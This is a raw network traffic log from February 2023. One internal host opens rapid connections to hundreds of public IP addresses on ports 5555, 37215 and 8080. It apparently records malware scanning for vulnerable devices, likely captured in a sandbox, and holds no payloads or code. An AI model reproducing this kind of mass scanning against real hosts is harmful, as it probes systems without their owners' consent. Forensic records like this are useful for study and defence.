Feb 12, 2023 21:24:40.603435993 CET	22272	5555	192.168.2.23	194.154.194.246
Feb 12, 2023 21:24:40.603446960 CET	22272	5555	192.168.2.23	75.4.167.202
Feb 12, 2023 21:24:40.603457928 CET	22272	5555	192.168.2.23	105.142.21.73
Feb 12, 2023 21:24:40.603478909 CET	22272	5555	192.168.2.23	106.173.95.228
Feb 12, 2023 21:24:40.603507042 CET	22272	5555	192.168.2.23	172.115.91.184
Feb 12, 2023 21:24:40.603526115 CET	22272	5555	192.168.2.23	35.4.200.64
Feb 12, 2023 21:24:40.603534937 CET	22272	5555	192.168.2.23	13.211.127.55
Feb 12, 2023 21:24:40.603555918 CET	22272	5555	192.168.2.23	53.17.25.102
Feb 12, 2023 21:24:40.603578091 CET	22272	5555	192.168.2.23	23.139.185.53
Feb 12, 2023 21:24:40.603590012 CET	22272	5555	192.168.2.23	57.28.228.78
Feb 12, 2023 21:24:40.603600025 CET	22272	5555	192.168.2.23	185.176.212.162
Feb 12, 2023 21:24:40.603615999 CET	22272	5555	192.168.2.23	151.169.25.253
Feb 12, 2023 21:24:40.603631020 CET	22272	5555	192.168.2.23	108.189.214.194
Feb 12, 2023 21:24:40.603643894 CET	22272	5555	192.168.2.23	203.13.35.36
Feb 12, 2023 21:24:40.603667021 CET	22272	5555	192.168.2.23	164.87.146.51
Feb 12, 2023 21:24:40.603694916 CET	22272	5555	192.168.2.23	81.157.48.98
Feb 12, 2023 21:24:40.603710890 CET	22272	5555	192.168.2.23	5.177.120.16
Feb 12, 2023 21:24:40.603724957 CET	22272	5555	192.168.2.23	162.146.60.37
Feb 12, 2023 21:24:40.603739977 CET	22272	5555	192.168.2.23	216.75.106.37
Feb 12, 2023 21:24:40.603770018 CET	22272	5555	192.168.2.23	219.114.237.75
Feb 12, 2023 21:24:40.603775024 CET	22272	5555	192.168.2.23	103.90.78.162
Feb 12, 2023 21:24:40.603825092 CET	51942	8080	192.168.2.23	49.53.54.46
Feb 12, 2023 21:24:40.603876114 CET	22272	5555	192.168.2.23	86.7.142.135
Feb 12, 2023 21:24:40.603880882 CET	22272	5555	192.168.2.23	176.205.241.121
Feb 12, 2023 21:24:40.603949070 CET	22272	5555	192.168.2.23	159.38.120.135
Feb 12, 2023 21:24:40.603965998 CET	22272	5555	192.168.2.23	206.73.219.56
Feb 12, 2023 21:24:40.604034901 CET	22272	5555	192.168.2.23	44.77.24.215
Feb 12, 2023 21:24:40.604280949 CET	22272	5555	192.168.2.23	201.255.154.126
Feb 12, 2023 21:24:40.604355097 CET	22272	5555	192.168.2.23	221.110.129.108
Feb 12, 2023 21:24:40.604357004 CET	22272	5555	192.168.2.23	155.19.82.51
Feb 12, 2023 21:24:40.604376078 CET	22272	5555	192.168.2.23	80.62.254.96
Feb 12, 2023 21:24:40.604403973 CET	22272	5555	192.168.2.23	207.231.14.39
Feb 12, 2023 21:24:40.604439020 CET	22272	5555	192.168.2.23	194.163.226.236
Feb 12, 2023 21:24:40.604537010 CET	22272	5555	192.168.2.23	168.124.40.30
Feb 12, 2023 21:24:40.604541063 CET	22272	5555	192.168.2.23	206.122.28.203
Feb 12, 2023 21:24:40.604569912 CET	22272	5555	192.168.2.23	43.65.29.158
Feb 12, 2023 21:24:40.604572058 CET	22272	5555	192.168.2.23	175.203.130.77
Feb 12, 2023 21:24:40.604593992 CET	22272	5555	192.168.2.23	71.192.135.151
Feb 12, 2023 21:24:40.604598999 CET	22272	5555	192.168.2.23	157.81.166.221
Feb 12, 2023 21:24:40.604593992 CET	22272	5555	192.168.2.23	4.193.56.169
Feb 12, 2023 21:24:40.604612112 CET	22272	5555	192.168.2.23	170.94.114.128
Feb 12, 2023 21:24:40.604612112 CET	22272	5555	192.168.2.23	20.181.106.24
Feb 12, 2023 21:24:40.604638100 CET	22272	5555	192.168.2.23	223.47.169.236
Feb 12, 2023 21:24:40.604641914 CET	22272	5555	192.168.2.23	178.100.172.112
Feb 12, 2023 21:24:40.604661942 CET	22272	5555	192.168.2.23	34.207.52.206
Feb 12, 2023 21:24:40.604768991 CET	22272	5555	192.168.2.23	107.57.13.253
Feb 12, 2023 21:24:40.604785919 CET	22272	5555	192.168.2.23	167.38.33.200
Feb 12, 2023 21:24:40.604871035 CET	22272	5555	192.168.2.23	114.114.127.8
Feb 12, 2023 21:24:40.604878902 CET	22272	5555	192.168.2.23	81.30.41.76
Feb 12, 2023 21:24:40.604897022 CET	22272	5555	192.168.2.23	213.17.186.36
Feb 12, 2023 21:24:40.604899883 CET	22272	5555	192.168.2.23	79.58.222.77
Feb 12, 2023 21:24:40.605922937 CET	22272	5555	192.168.2.23	166.10.11.209
Feb 12, 2023 21:24:40.605926991 CET	22272	5555	192.168.2.23	41.139.100.47
Feb 12, 2023 21:24:40.605945110 CET	22272	5555	192.168.2.23	158.187.102.239
Feb 12, 2023 21:24:40.605961084 CET	22272	5555	192.168.2.23	95.27.24.31
Feb 12, 2023 21:24:40.606003046 CET	22272	5555	192.168.2.23	176.246.214.145
Feb 12, 2023 21:24:40.606017113 CET	22272	5555	192.168.2.23	2.208.129.163
Feb 12, 2023 21:24:40.606017113 CET	22272	5555	192.168.2.23	102.38.133.27
Feb 12, 2023 21:24:40.606017113 CET	22272	5555	192.168.2.23	203.205.195.97
Feb 12, 2023 21:24:40.606024981 CET	22272	5555	192.168.2.23	212.239.4.235
Feb 12, 2023 21:24:40.606029987 CET	22272	5555	192.168.2.23	219.73.115.53
Feb 12, 2023 21:24:40.606031895 CET	22272	5555	192.168.2.23	195.155.177.92
Feb 12, 2023 21:24:40.606038094 CET	22272	5555	192.168.2.23	146.232.156.244
Feb 12, 2023 21:24:40.606055975 CET	22272	5555	192.168.2.23	61.232.2.16
Feb 12, 2023 21:24:40.606060982 CET	22272	5555	192.168.2.23	104.116.230.238
Feb 12, 2023 21:24:40.606089115 CET	22272	5555	192.168.2.23	82.123.174.30
Feb 12, 2023 21:24:40.606091022 CET	22272	5555	192.168.2.23	101.40.95.239
Feb 12, 2023 21:24:40.606093884 CET	22272	5555	192.168.2.23	177.102.62.59
Feb 12, 2023 21:24:40.606102943 CET	22272	5555	192.168.2.23	72.0.241.37
Feb 12, 2023 21:24:40.606107950 CET	22272	5555	192.168.2.23	66.212.115.99
Feb 12, 2023 21:24:40.606113911 CET	22272	5555	192.168.2.23	218.207.126.194
Feb 12, 2023 21:24:40.606148005 CET	22272	5555	192.168.2.23	191.104.200.156
Feb 12, 2023 21:24:40.606148958 CET	22272	5555	192.168.2.23	75.204.24.219
Feb 12, 2023 21:24:40.606149912 CET	22272	5555	192.168.2.23	86.90.46.121
Feb 12, 2023 21:24:40.606168985 CET	22272	5555	192.168.2.23	210.119.154.155
Feb 12, 2023 21:24:40.606178999 CET	22272	5555	192.168.2.23	191.244.187.40
Feb 12, 2023 21:24:40.606189966 CET	22272	5555	192.168.2.23	87.174.11.103
Feb 12, 2023 21:24:40.606189966 CET	22272	5555	192.168.2.23	70.88.13.69
Feb 12, 2023 21:24:40.606195927 CET	22272	5555	192.168.2.23	23.14.121.107
Feb 12, 2023 21:24:40.606213093 CET	22272	5555	192.168.2.23	150.174.8.212
Feb 12, 2023 21:24:40.606230021 CET	22272	5555	192.168.2.23	132.204.25.208
Feb 12, 2023 21:24:40.606232882 CET	22272	5555	192.168.2.23	170.253.164.78
Feb 12, 2023 21:24:40.606249094 CET	22272	5555	192.168.2.23	5.34.158.64
Feb 12, 2023 21:24:40.606251001 CET	22272	5555	192.168.2.23	208.121.144.205
Feb 12, 2023 21:24:40.606276035 CET	22272	5555	192.168.2.23	110.42.215.163
Feb 12, 2023 21:24:40.606281996 CET	22272	5555	192.168.2.23	198.35.238.161
Feb 12, 2023 21:24:40.606287003 CET	22272	5555	192.168.2.23	121.50.174.236
Feb 12, 2023 21:24:40.606302023 CET	22272	5555	192.168.2.23	192.253.163.39
Feb 12, 2023 21:24:40.606302023 CET	22272	5555	192.168.2.23	88.58.214.203
Feb 12, 2023 21:24:40.606328011 CET	22272	5555	192.168.2.23	69.59.200.28
Feb 12, 2023 21:24:40.606340885 CET	22272	5555	192.168.2.23	136.72.153.135
Feb 12, 2023 21:24:40.606355906 CET	22272	5555	192.168.2.23	199.101.220.18
Feb 12, 2023 21:24:40.606359959 CET	22272	5555	192.168.2.23	197.26.39.159
Feb 12, 2023 21:24:40.606380939 CET	22272	5555	192.168.2.23	204.34.8.186
Feb 12, 2023 21:24:40.606393099 CET	22272	5555	192.168.2.23	197.166.16.102
Feb 12, 2023 21:24:40.606398106 CET	22272	5555	192.168.2.23	27.95.189.144
Feb 12, 2023 21:24:40.606429100 CET	22272	5555	192.168.2.23	32.243.242.39
Feb 12, 2023 21:24:40.606431007 CET	22272	5555	192.168.2.23	197.200.190.111
Feb 12, 2023 21:24:40.606506109 CET	22272	5555	192.168.2.23	72.107.152.146
Feb 12, 2023 21:24:40.606506109 CET	22272	5555	192.168.2.23	171.60.98.148
Feb 12, 2023 21:24:40.606512070 CET	22272	5555	192.168.2.23	200.250.197.109
Feb 12, 2023 21:24:40.606512070 CET	22272	5555	192.168.2.23	54.42.147.238
Feb 12, 2023 21:24:40.606513977 CET	22272	5555	192.168.2.23	119.41.121.210
Feb 12, 2023 21:24:40.606513977 CET	22272	5555	192.168.2.23	46.114.237.35
Feb 12, 2023 21:24:40.606518030 CET	22272	5555	192.168.2.23	13.224.223.214
Feb 12, 2023 21:24:40.606518030 CET	22272	5555	192.168.2.23	182.87.75.19
Feb 12, 2023 21:24:40.606533051 CET	22272	5555	192.168.2.23	188.55.97.79
Feb 12, 2023 21:24:40.606538057 CET	22272	5555	192.168.2.23	94.185.163.29
Feb 12, 2023 21:24:40.606538057 CET	22272	5555	192.168.2.23	147.95.23.133
Feb 12, 2023 21:24:40.606539965 CET	22272	5555	192.168.2.23	155.94.226.17
Feb 12, 2023 21:24:40.606540918 CET	22272	5555	192.168.2.23	212.229.251.184
Feb 12, 2023 21:24:40.606539965 CET	22272	5555	192.168.2.23	66.88.163.204
Feb 12, 2023 21:24:40.606540918 CET	22272	5555	192.168.2.23	120.60.151.171
Feb 12, 2023 21:24:40.606542110 CET	22272	5555	192.168.2.23	137.107.55.233
Feb 12, 2023 21:24:40.606540918 CET	22272	5555	192.168.2.23	139.210.150.154
Feb 12, 2023 21:24:40.606540918 CET	22272	5555	192.168.2.23	145.220.93.74
Feb 12, 2023 21:24:40.607438087 CET	22272	5555	192.168.2.23	197.141.22.84
Feb 12, 2023 21:24:40.607444048 CET	22272	5555	192.168.2.23	83.78.220.190
Feb 12, 2023 21:24:40.607466936 CET	22272	5555	192.168.2.23	123.88.59.100
Feb 12, 2023 21:24:40.607472897 CET	22272	5555	192.168.2.23	155.210.142.183
Feb 12, 2023 21:24:40.607476950 CET	22272	5555	192.168.2.23	25.26.21.32
Feb 12, 2023 21:24:40.607492924 CET	22272	5555	192.168.2.23	95.68.180.195
Feb 12, 2023 21:24:40.607497931 CET	22272	5555	192.168.2.23	189.66.153.7
Feb 12, 2023 21:24:40.607507944 CET	22272	5555	192.168.2.23	94.7.52.218
Feb 12, 2023 21:24:40.607515097 CET	22272	5555	192.168.2.23	97.17.108.58
Feb 12, 2023 21:24:40.607532978 CET	22272	5555	192.168.2.23	174.140.206.254
Feb 12, 2023 21:24:40.607542038 CET	22272	5555	192.168.2.23	204.198.237.38
Feb 12, 2023 21:24:40.607572079 CET	22272	5555	192.168.2.23	19.232.13.251
Feb 12, 2023 21:24:40.607734919 CET	22272	5555	192.168.2.23	34.164.138.78
Feb 12, 2023 21:24:40.607742071 CET	22272	5555	192.168.2.23	34.173.224.206
Feb 12, 2023 21:24:40.607748032 CET	22272	5555	192.168.2.23	189.255.77.29
Feb 12, 2023 21:24:40.607753992 CET	22272	5555	192.168.2.23	65.147.120.64
Feb 12, 2023 21:24:40.607762098 CET	22272	5555	192.168.2.23	125.147.169.219
Feb 12, 2023 21:24:40.607774973 CET	22272	5555	192.168.2.23	186.16.30.1
Feb 12, 2023 21:24:40.607784033 CET	22272	5555	192.168.2.23	165.210.47.102
Feb 12, 2023 21:24:40.607791901 CET	22272	5555	192.168.2.23	207.54.181.209
Feb 12, 2023 21:24:40.607810020 CET	22272	5555	192.168.2.23	183.209.20.108
Feb 12, 2023 21:24:40.607815981 CET	22272	5555	192.168.2.23	54.198.248.197
Feb 12, 2023 21:24:40.607824087 CET	22272	5555	192.168.2.23	221.166.191.49
Feb 12, 2023 21:24:40.607835054 CET	22272	5555	192.168.2.23	176.135.72.137
Feb 12, 2023 21:24:40.608762980 CET	32828	8080	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:40.612030983 CET	46134	8080	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:40.614171028 CET	55360	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:40.615904093 CET	39210	8080	192.168.2.23	53.56.46.49
Feb 12, 2023 21:24:40.617225885 CET	55464	8080	192.168.2.23	49.51.57.46
Feb 12, 2023 21:24:40.617513895 CET	37215	52981	144.248.191.118	192.168.2.23
Feb 12, 2023 21:24:40.618700027 CET	51342	8080	192.168.2.23	49.56.54.46
Feb 12, 2023 21:24:40.624095917 CET	55282	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:40.656128883 CET	55284	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:40.656147957 CET	55288	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:40.656153917 CET	55292	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:40.656172991 CET	54536	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:40.656183958 CET	54532	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:40.692683935 CET	5555	22272	196.184.131.14	192.168.2.23
Feb 12, 2023 21:24:40.735265017 CET	52981	37215	192.168.2.23	157.210.129.34
Feb 12, 2023 21:24:40.735275984 CET	52981	37215	192.168.2.23	41.11.184.39
Feb 12, 2023 21:24:40.735277891 CET	52981	37215	192.168.2.23	157.103.201.154
Feb 12, 2023 21:24:40.735296965 CET	52981	37215	192.168.2.23	197.64.237.169
Feb 12, 2023 21:24:40.735385895 CET	52981	37215	192.168.2.23	41.98.200.182
Feb 12, 2023 21:24:40.735393047 CET	52981	37215	192.168.2.23	41.134.97.181
Feb 12, 2023 21:24:40.735393047 CET	52981	37215	192.168.2.23	198.195.191.115
Feb 12, 2023 21:24:40.735393047 CET	52981	37215	192.168.2.23	41.134.240.99
Feb 12, 2023 21:24:40.735399008 CET	52981	37215	192.168.2.23	157.235.252.212
Feb 12, 2023 21:24:40.735399008 CET	52981	37215	192.168.2.23	157.77.151.182
Feb 12, 2023 21:24:40.735399008 CET	52981	37215	192.168.2.23	41.157.251.3
Feb 12, 2023 21:24:40.735399008 CET	52981	37215	192.168.2.23	45.191.48.52
Feb 12, 2023 21:24:40.735399008 CET	52981	37215	192.168.2.23	41.7.243.232
Feb 12, 2023 21:24:40.735399008 CET	52981	37215	192.168.2.23	193.48.230.37
Feb 12, 2023 21:24:40.735399008 CET	52981	37215	192.168.2.23	157.61.176.165
Feb 12, 2023 21:24:40.735399008 CET	52981	37215	192.168.2.23	41.194.185.34
Feb 12, 2023 21:24:40.735404015 CET	52981	37215	192.168.2.23	197.143.87.170
Feb 12, 2023 21:24:40.735404015 CET	52981	37215	192.168.2.23	197.4.71.198
Feb 12, 2023 21:24:40.735409021 CET	52981	37215	192.168.2.23	41.92.241.53
Feb 12, 2023 21:24:40.735438108 CET	52981	37215	192.168.2.23	9.66.167.203
Feb 12, 2023 21:24:40.735438108 CET	52981	37215	192.168.2.23	197.211.21.5
Feb 12, 2023 21:24:40.735438108 CET	52981	37215	192.168.2.23	41.67.130.124
Feb 12, 2023 21:24:40.735443115 CET	52981	37215	192.168.2.23	157.6.7.130
Feb 12, 2023 21:24:40.735443115 CET	52981	37215	192.168.2.23	41.212.56.130
Feb 12, 2023 21:24:40.735443115 CET	52981	37215	192.168.2.23	41.109.4.130
Feb 12, 2023 21:24:40.735455036 CET	52981	37215	192.168.2.23	157.234.72.107
Feb 12, 2023 21:24:40.735457897 CET	52981	37215	192.168.2.23	197.85.102.24
Feb 12, 2023 21:24:40.735455036 CET	52981	37215	192.168.2.23	197.60.20.87
Feb 12, 2023 21:24:40.735457897 CET	52981	37215	192.168.2.23	157.152.231.221
Feb 12, 2023 21:24:40.735455036 CET	52981	37215	192.168.2.23	157.19.65.75
Feb 12, 2023 21:24:40.735460043 CET	52981	37215	192.168.2.23	41.7.15.62
Feb 12, 2023 21:24:40.735455036 CET	52981	37215	192.168.2.23	157.61.64.188
Feb 12, 2023 21:24:40.735460043 CET	52981	37215	192.168.2.23	41.253.252.109
Feb 12, 2023 21:24:40.735460997 CET	52981	37215	192.168.2.23	197.73.128.182
Feb 12, 2023 21:24:40.735460997 CET	52981	37215	192.168.2.23	157.154.145.161
Feb 12, 2023 21:24:40.735470057 CET	52981	37215	192.168.2.23	197.14.21.15
Feb 12, 2023 21:24:40.735476017 CET	52981	37215	192.168.2.23	115.106.158.35
Feb 12, 2023 21:24:40.735476017 CET	52981	37215	192.168.2.23	157.215.237.110
Feb 12, 2023 21:24:40.735476971 CET	52981	37215	192.168.2.23	41.215.118.70
Feb 12, 2023 21:24:40.735476971 CET	52981	37215	192.168.2.23	41.210.58.65
Feb 12, 2023 21:24:40.735507965 CET	52981	37215	192.168.2.23	41.195.61.175
Feb 12, 2023 21:24:40.735508919 CET	52981	37215	192.168.2.23	41.125.92.220
Feb 12, 2023 21:24:40.735508919 CET	52981	37215	192.168.2.23	59.211.123.87
Feb 12, 2023 21:24:40.735516071 CET	52981	37215	192.168.2.23	157.250.21.5
Feb 12, 2023 21:24:40.735516071 CET	52981	37215	192.168.2.23	41.2.190.180
Feb 12, 2023 21:24:40.735508919 CET	52981	37215	192.168.2.23	113.246.75.49
Feb 12, 2023 21:24:40.735523939 CET	52981	37215	192.168.2.23	142.59.42.104
Feb 12, 2023 21:24:40.735523939 CET	52981	37215	192.168.2.23	197.57.206.138
Feb 12, 2023 21:24:40.735524893 CET	52981	37215	192.168.2.23	41.33.160.162
Feb 12, 2023 21:24:40.735524893 CET	52981	37215	192.168.2.23	111.153.11.2
Feb 12, 2023 21:24:40.735526085 CET	52981	37215	192.168.2.23	197.153.25.168
Feb 12, 2023 21:24:40.735524893 CET	52981	37215	192.168.2.23	41.181.68.130
Feb 12, 2023 21:24:40.735526085 CET	52981	37215	192.168.2.23	157.119.106.50
Feb 12, 2023 21:24:40.735524893 CET	52981	37215	192.168.2.23	41.11.192.183
Feb 12, 2023 21:24:40.735527039 CET	52981	37215	192.168.2.23	159.187.90.132
Feb 12, 2023 21:24:40.735527039 CET	52981	37215	192.168.2.23	179.5.20.40
Feb 12, 2023 21:24:40.735527039 CET	52981	37215	192.168.2.23	157.203.193.204
Feb 12, 2023 21:24:40.735527039 CET	52981	37215	192.168.2.23	157.35.152.74
Feb 12, 2023 21:24:40.735527039 CET	52981	37215	192.168.2.23	157.149.191.240
Feb 12, 2023 21:24:40.735537052 CET	52981	37215	192.168.2.23	157.205.15.175
Feb 12, 2023 21:24:40.735537052 CET	52981	37215	192.168.2.23	108.14.51.114
Feb 12, 2023 21:24:40.735537052 CET	52981	37215	192.168.2.23	157.57.187.194
Feb 12, 2023 21:24:40.735537052 CET	52981	37215	192.168.2.23	157.63.63.199
Feb 12, 2023 21:24:40.735539913 CET	52981	37215	192.168.2.23	197.28.6.29
Feb 12, 2023 21:24:40.735537052 CET	52981	37215	192.168.2.23	157.223.179.6
Feb 12, 2023 21:24:40.735539913 CET	52981	37215	192.168.2.23	197.124.176.66
Feb 12, 2023 21:24:40.735539913 CET	52981	37215	192.168.2.23	197.166.172.57
Feb 12, 2023 21:24:40.735548019 CET	52981	37215	192.168.2.23	41.17.61.212
Feb 12, 2023 21:24:40.735548019 CET	52981	37215	192.168.2.23	41.82.8.246
Feb 12, 2023 21:24:40.735548019 CET	52981	37215	192.168.2.23	197.39.216.141
Feb 12, 2023 21:24:40.735548019 CET	52981	37215	192.168.2.23	85.52.11.150
Feb 12, 2023 21:24:40.735548019 CET	52981	37215	192.168.2.23	157.45.55.228
Feb 12, 2023 21:24:40.735567093 CET	52981	37215	192.168.2.23	176.136.122.8
Feb 12, 2023 21:24:40.735572100 CET	52981	37215	192.168.2.23	102.192.158.3
Feb 12, 2023 21:24:40.735572100 CET	52981	37215	192.168.2.23	157.29.154.12
Feb 12, 2023 21:24:40.735575914 CET	52981	37215	192.168.2.23	197.229.115.176
Feb 12, 2023 21:24:40.735575914 CET	52981	37215	192.168.2.23	41.48.74.154
Feb 12, 2023 21:24:40.735610008 CET	52981	37215	192.168.2.23	157.100.109.245
Feb 12, 2023 21:24:40.735610962 CET	52981	37215	192.168.2.23	119.218.5.72
Feb 12, 2023 21:24:40.735610962 CET	52981	37215	192.168.2.23	157.19.177.149
Feb 12, 2023 21:24:40.735610962 CET	52981	37215	192.168.2.23	197.231.179.43
Feb 12, 2023 21:24:40.735610962 CET	52981	37215	192.168.2.23	197.15.11.201
Feb 12, 2023 21:24:40.735610962 CET	52981	37215	192.168.2.23	197.147.87.150
Feb 12, 2023 21:24:40.735610962 CET	52981	37215	192.168.2.23	36.66.188.13
Feb 12, 2023 21:24:40.735621929 CET	52981	37215	192.168.2.23	140.12.201.89
Feb 12, 2023 21:24:40.735610962 CET	52981	37215	192.168.2.23	157.201.52.238
Feb 12, 2023 21:24:40.735622883 CET	52981	37215	192.168.2.23	41.18.232.77
Feb 12, 2023 21:24:40.735622883 CET	52981	37215	192.168.2.23	41.202.41.249
Feb 12, 2023 21:24:40.735622883 CET	52981	37215	192.168.2.23	192.188.6.135
Feb 12, 2023 21:24:40.735625029 CET	52981	37215	192.168.2.23	157.60.65.194
Feb 12, 2023 21:24:40.735622883 CET	52981	37215	192.168.2.23	41.253.73.35
Feb 12, 2023 21:24:40.735622883 CET	52981	37215	192.168.2.23	116.78.230.177
Feb 12, 2023 21:24:40.735622883 CET	52981	37215	192.168.2.23	157.156.211.79
Feb 12, 2023 21:24:40.735622883 CET	52981	37215	192.168.2.23	41.77.235.1
Feb 12, 2023 21:24:40.735634089 CET	52981	37215	192.168.2.23	139.220.64.36
Feb 12, 2023 21:24:40.735634089 CET	52981	37215	192.168.2.23	41.28.125.57
Feb 12, 2023 21:24:40.735634089 CET	52981	37215	192.168.2.23	41.156.239.143
Feb 12, 2023 21:24:40.735634089 CET	52981	37215	192.168.2.23	197.16.112.169
Feb 12, 2023 21:24:40.735634089 CET	52981	37215	192.168.2.23	157.16.205.216
Feb 12, 2023 21:24:40.735634089 CET	52981	37215	192.168.2.23	197.244.27.201
Feb 12, 2023 21:24:40.735639095 CET	52981	37215	192.168.2.23	152.155.63.100
Feb 12, 2023 21:24:40.735639095 CET	52981	37215	192.168.2.23	41.32.38.134
Feb 12, 2023 21:24:40.735640049 CET	52981	37215	192.168.2.23	197.172.56.162
Feb 12, 2023 21:24:40.735640049 CET	52981	37215	192.168.2.23	197.136.127.83
Feb 12, 2023 21:24:40.735644102 CET	52981	37215	192.168.2.23	157.190.244.71
Feb 12, 2023 21:24:40.735644102 CET	52981	37215	192.168.2.23	157.181.212.12
Feb 12, 2023 21:24:40.735644102 CET	52981	37215	192.168.2.23	157.139.70.218
Feb 12, 2023 21:24:40.735646009 CET	52981	37215	192.168.2.23	157.73.98.0
Feb 12, 2023 21:24:40.735646009 CET	52981	37215	192.168.2.23	41.50.95.68
Feb 12, 2023 21:24:40.735646009 CET	52981	37215	192.168.2.23	157.33.208.117
Feb 12, 2023 21:24:40.735646009 CET	52981	37215	192.168.2.23	157.77.229.108
Feb 12, 2023 21:24:40.735646009 CET	52981	37215	192.168.2.23	197.95.159.158
Feb 12, 2023 21:24:40.735646009 CET	52981	37215	192.168.2.23	41.62.85.225
Feb 12, 2023 21:24:40.735646009 CET	52981	37215	192.168.2.23	197.129.77.145
Feb 12, 2023 21:24:40.735646009 CET	52981	37215	192.168.2.23	41.113.148.164
Feb 12, 2023 21:24:40.735671043 CET	52981	37215	192.168.2.23	41.209.199.139
Feb 12, 2023 21:24:40.735671043 CET	52981	37215	192.168.2.23	197.105.74.100
Feb 12, 2023 21:24:40.735671043 CET	52981	37215	192.168.2.23	41.11.238.225
Feb 12, 2023 21:24:40.735671043 CET	52981	37215	192.168.2.23	41.244.127.0
Feb 12, 2023 21:24:40.735671043 CET	52981	37215	192.168.2.23	170.224.65.201
Feb 12, 2023 21:24:40.735671043 CET	52981	37215	192.168.2.23	41.160.213.41
Feb 12, 2023 21:24:40.735671043 CET	52981	37215	192.168.2.23	157.138.123.117
Feb 12, 2023 21:24:40.735678911 CET	52981	37215	192.168.2.23	157.245.33.40
Feb 12, 2023 21:24:40.735711098 CET	52981	37215	192.168.2.23	135.141.72.190
Feb 12, 2023 21:24:40.735718966 CET	52981	37215	192.168.2.23	41.85.145.66
Feb 12, 2023 21:24:40.735718966 CET	52981	37215	192.168.2.23	144.58.40.23
Feb 12, 2023 21:24:40.735718966 CET	52981	37215	192.168.2.23	197.247.228.232
Feb 12, 2023 21:24:40.735738993 CET	52981	37215	192.168.2.23	157.138.113.136
Feb 12, 2023 21:24:40.735738993 CET	52981	37215	192.168.2.23	197.71.161.235
Feb 12, 2023 21:24:40.735738993 CET	52981	37215	192.168.2.23	41.244.179.9
Feb 12, 2023 21:24:40.735738993 CET	52981	37215	192.168.2.23	60.102.108.76
Feb 12, 2023 21:24:40.735738993 CET	52981	37215	192.168.2.23	157.101.7.114
Feb 12, 2023 21:24:40.735742092 CET	52981	37215	192.168.2.23	197.154.68.214
Feb 12, 2023 21:24:40.735743999 CET	52981	37215	192.168.2.23	197.1.97.234
Feb 12, 2023 21:24:40.735743999 CET	52981	37215	192.168.2.23	24.4.200.147
Feb 12, 2023 21:24:40.735742092 CET	52981	37215	192.168.2.23	157.172.27.20
Feb 12, 2023 21:24:40.735743999 CET	52981	37215	192.168.2.23	157.20.225.212
Feb 12, 2023 21:24:40.735744953 CET	52981	37215	192.168.2.23	197.109.185.1
Feb 12, 2023 21:24:40.735743999 CET	52981	37215	192.168.2.23	157.122.63.197
Feb 12, 2023 21:24:40.735750914 CET	52981	37215	192.168.2.23	157.129.162.199
Feb 12, 2023 21:24:40.735744953 CET	52981	37215	192.168.2.23	197.31.18.180
Feb 12, 2023 21:24:40.735743999 CET	52981	37215	192.168.2.23	157.129.116.138
Feb 12, 2023 21:24:40.735757113 CET	52981	37215	192.168.2.23	157.83.60.17
Feb 12, 2023 21:24:40.735744953 CET	52981	37215	192.168.2.23	157.129.173.42
Feb 12, 2023 21:24:40.735752106 CET	52981	37215	192.168.2.23	157.48.212.241
Feb 12, 2023 21:24:40.735743999 CET	52981	37215	192.168.2.23	197.243.121.76
Feb 12, 2023 21:24:40.735744953 CET	52981	37215	192.168.2.23	197.174.29.130
Feb 12, 2023 21:24:40.735738993 CET	52981	37215	192.168.2.23	157.165.85.240
Feb 12, 2023 21:24:40.735752106 CET	52981	37215	192.168.2.23	41.238.101.135
Feb 12, 2023 21:24:40.735738993 CET	52981	37215	192.168.2.23	197.137.62.148
Feb 12, 2023 21:24:40.735757113 CET	52981	37215	192.168.2.23	206.118.103.173
Feb 12, 2023 21:24:40.735752106 CET	52981	37215	192.168.2.23	87.85.232.80
Feb 12, 2023 21:24:40.735744953 CET	52981	37215	192.168.2.23	41.226.213.8
Feb 12, 2023 21:24:40.735752106 CET	52981	37215	192.168.2.23	41.226.127.112
Feb 12, 2023 21:24:40.735744953 CET	52981	37215	192.168.2.23	197.168.69.192
Feb 12, 2023 21:24:40.735738993 CET	52981	37215	192.168.2.23	41.177.166.200
Feb 12, 2023 21:24:40.735742092 CET	52981	37215	192.168.2.23	41.137.56.115
Feb 12, 2023 21:24:40.735750914 CET	52981	37215	192.168.2.23	164.48.63.22
Feb 12, 2023 21:24:40.735745907 CET	52981	37215	192.168.2.23	197.168.144.74
Feb 12, 2023 21:24:40.735750914 CET	52981	37215	192.168.2.23	41.153.234.180
Feb 12, 2023 21:24:40.735742092 CET	52981	37215	192.168.2.23	197.250.43.37
Feb 12, 2023 21:24:40.735750914 CET	52981	37215	192.168.2.23	197.55.225.11
Feb 12, 2023 21:24:40.735758066 CET	52981	37215	192.168.2.23	41.169.49.3
Feb 12, 2023 21:24:40.735750914 CET	52981	37215	192.168.2.23	142.147.6.46
Feb 12, 2023 21:24:40.735742092 CET	52981	37215	192.168.2.23	216.135.202.111
Feb 12, 2023 21:24:40.735750914 CET	52981	37215	192.168.2.23	197.133.42.109
Feb 12, 2023 21:24:40.735742092 CET	52981	37215	192.168.2.23	157.219.128.163
Feb 12, 2023 21:24:40.735750914 CET	52981	37215	192.168.2.23	144.61.217.135
Feb 12, 2023 21:24:40.735788107 CET	52981	37215	192.168.2.23	20.222.226.19
Feb 12, 2023 21:24:40.735750914 CET	52981	37215	192.168.2.23	157.41.44.113
Feb 12, 2023 21:24:40.735788107 CET	52981	37215	192.168.2.23	41.46.133.86
Feb 12, 2023 21:24:40.735788107 CET	52981	37215	192.168.2.23	41.86.73.252
Feb 12, 2023 21:24:40.735788107 CET	52981	37215	192.168.2.23	197.37.38.204
Feb 12, 2023 21:24:40.735788107 CET	52981	37215	192.168.2.23	157.138.240.34
Feb 12, 2023 21:24:40.735788107 CET	52981	37215	192.168.2.23	197.80.246.154
Feb 12, 2023 21:24:40.735788107 CET	52981	37215	192.168.2.23	158.130.101.238
Feb 12, 2023 21:24:40.735789061 CET	52981	37215	192.168.2.23	197.198.255.13
Feb 12, 2023 21:24:40.735822916 CET	52981	37215	192.168.2.23	41.174.119.60
Feb 12, 2023 21:24:40.735822916 CET	52981	37215	192.168.2.23	100.44.169.255
